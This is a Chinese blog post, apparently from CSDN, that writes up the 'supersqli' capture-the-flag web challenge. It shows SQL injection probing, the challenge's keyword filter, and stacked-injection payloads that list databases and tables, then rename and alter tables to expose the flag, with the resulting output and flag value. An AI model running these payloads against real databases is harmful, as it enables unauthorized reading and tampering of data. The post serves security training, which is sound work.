

# 攻防世界web supersqli writeup

原创

[Sprint#51264](#)  于 2020-08-07 19:04:24 发布  157  收藏 1

分类专栏: [Web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_45837896/article/details/107868306](https://blog.csdn.net/qq_45837896/article/details/107868306)

版权



[Web](#) 专栏收录该内容

12 篇文章 0 订阅

订阅专栏

---

## 取材于某次真实环境渗透, 只说一句话: 开发和安全缺一不可

姿势:

[https://blog.csdn.net/qq\\_45837896](https://blog.csdn.net/qq_45837896)

题目主界面如上, 提交1查询出一条结果

姿势:

```
array(2) {  
  [0]=>  
  string(1) "1"  
  [1]=>  
  string(7) "hahahah"  
}
```

[https://blog.csdn.net/qq\\_45837896](https://blog.csdn.net/qq_45837896)

尝试单引号注入发现报错，那么判断存在注入

姿势:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near

用order by查询有几个字段；  
当order by 3的时候发现出错了

姿势:

error 1054 : Unknown column '3' in 'order clause'

接着使用union联合查询，发现关键字被过滤了，用大写也无法绕过

姿势:

```
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);
```

于是换用堆叠注入的方法

```
1';show databases #
```

```
array(1) {
  [0]=>
  string(11) "ctftraining"
}
```

```
array(1) {
  [0]=>
  string(18) "information_schema"
}
```

```
array(1) {
  [0]=>
  string(5) "mysql"
}
```

```
array(1) {
  [0]=>
  string(18) "performance_schema"
}
```

```
array(1) {
  [0]=>
  string(9) "supersqli"
}
https://blog.csdn.net/qq\_45837896
```

出现多个数据库,注意到有supersqli库,再次构造

```
1';show tables from supersqli #
```

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}
```

```
array(1) {
  [0]=>
  string(5) "words"
}
```

[https://blog.csdn.net/qq\\_45837896](https://blog.csdn.net/qq_45837896)

发现有两个表,分别对其进行查看得

1.words

```
array(6) {
  [0]=>
  string(5) "words"
}
```

```
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
```

```
array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

[https://blog.csdn.net/qq\\_45837896](https://blog.csdn.net/qq_45837896)

2.1919810931114514(注意查询的时候以字符串为名的表要用反引号括住)

---

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

[https://blog.csdn.net/qq\\_45837896](https://blog.csdn.net/qq_45837896)

根据查询的结果来看，是一个数字外加一个字符串，与words表中数据相吻合，所以说words应该是默认查询的表，根据words中的id值进行查找，我们可以把1919810931114514这个表命名为words，并

把其中的flag字段改为id，查询的时候就可以将flag进行显示，把原先的words改成其他名字，使有flag的表成为默认查询表

```
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
```

再进行or语句的构造

```
1' or 1=1#
```

姿势:

```
array(1) {  
  [0]=>  
  string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"  
}
```

[https://blog.csdn.net/qq\\_45837896](https://blog.csdn.net/qq_45837896)

参考链接: <https://www.cnblogs.com/weak-chicken/p/12291092.html>



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)